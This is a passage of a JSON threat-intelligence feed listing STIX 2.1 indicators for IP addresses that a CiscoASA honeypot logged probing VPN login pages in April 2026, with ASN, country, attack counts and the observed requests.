    {
      "created": "2026-04-21T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--37f791cf-53df-48af-aca9-22d3c90aa697",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:20:05.000Z",
      "valid_until": "2026-05-23T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-21T04:06:38.783Z",
          "last_seen": "2026-04-21T04:06:46.985Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1b3bc90c-0f8b-4214-b86a-cc350224b272",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:20:05.000Z",
      "valid_until": "2026-05-23T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T03:42:17.780Z",
          "last_seen": "2026-04-29T18:53:26.617Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--031e3128-6cf3-4933-ad30-fd6270b7b6d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:20:05.000Z",
      "valid_until": "2026-05-23T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-21T03:45:00.726Z",
          "last_seen": "2026-04-21T03:45:09.755Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2a723c2b-9e2c-4c4c-abc5-de4688e199f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:20:05.000Z",
      "valid_until": "2026-05-23T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-21T00:53:06.502Z",
          "last_seen": "2026-04-29T22:55:51.616Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--384b9ae8-759c-4d03-bfad-fe152b58f341",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T06:20:10.000Z",
      "valid_until": "2026-05-23T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T11:33:02.804Z",
          "last_seen": "2026-04-21T05:32:01.592Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T07:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--648da5ac-cb48-4cf6-82ce-4cc5ad506705",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T07:20:05.000Z",
      "valid_until": "2026-05-23T07:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-21T07:04:30.539Z",
          "last_seen": "2026-04-27T15:35:49.419Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T07:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a3eb2265-532b-4200-b74c-77ddf0d57eb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T07:20:05.000Z",
      "valid_until": "2026-05-23T07:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-21T06:26:18.984Z",
          "last_seen": "2026-04-29T23:46:51.886Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--710266ac-f284-4e9a-82a6-07302270a0ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:20:10.000Z",
      "valid_until": "2026-05-23T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T08:17:26.532Z",
          "last_seen": "2026-04-27T21:38:17.744Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5157ef28-2954-4322-9c52-cc1838ebbd28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:20:10.000Z",
      "valid_until": "2026-05-23T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-21T07:41:26.379Z",
          "last_seen": "2026-04-21T07:41:36.501Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--9989b96d-a1ee-4f3c-9124-431bf49286d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:20:10.000Z",
      "valid_until": "2026-05-23T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-18T22:53:27.415Z",
          "last_seen": "2026-04-27T23:07:27.708Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--33d69350-b8cb-4612-ad15-ce0f30b7aff2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:20:10.000Z",
      "valid_until": "2026-05-23T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-21T07:23:32.029Z",
          "last_seen": "2026-04-22T01:11:11.526Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--69ccf76a-effc-4d5e-8dfd-3274e206f32e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:20:10.000Z",
      "valid_until": "2026-05-23T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-21T07:29:25.900Z",
          "last_seen": "2026-04-23T15:21:45.393Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--8f29e5a8-33cf-422e-9e8b-51e3f8e6449b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T09:20:10.000Z",
      "valid_until": "2026-05-23T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 26,
          "first_seen": "2026-04-08T21:35:25.525Z",
          "last_seen": "2026-04-30T05:08:34.200Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--04447f68-3525-4f4a-9cd1-0db365f4a9b0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T09:20:10.000Z",
      "valid_until": "2026-05-23T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T13:35:28.176Z",
          "last_seen": "2026-04-24T23:14:52.066Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--817393ef-ceeb-4560-875d-76e819e482bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T09:20:10.000Z",
      "valid_until": "2026-05-23T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-21T09:11:55.149Z",
          "last_seen": "2026-04-21T09:12:06.533Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--48307e46-f3fc-4abe-9c70-e1753c492919",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T09:20:10.000Z",
      "valid_until": "2026-05-23T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-21T09:11:19.053Z",
          "last_seen": "2026-04-26T06:35:45.806Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--823068f0-8d53-45eb-b441-8f44538223b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T09:20:10.000Z",
      "valid_until": "2026-05-23T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-21T08:38:38.397Z",
          "last_seen": "2026-04-25T06:25:57.295Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--e01cf820-b8e9-434b-ae56-68de1b0318d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T10:20:11.000Z",
      "valid_until": "2026-05-23T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T09:48:35.247Z",
          "last_seen": "2026-04-30T05:24:18.310Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--1fedd81c-da6e-4c08-974a-9f6290d7eb34",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T10:20:11.000Z",
      "valid_until": "2026-05-23T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-15T10:17:40.210Z",
          "last_seen": "2026-04-24T14:24:46.943Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--75232f49-70e3-4e11-a86f-4ea6bfb4ed22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T10:20:11.000Z",
      "valid_until": "2026-05-23T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-15T10:16:36.714Z",
          "last_seen": "2026-04-21T10:14:44.217Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
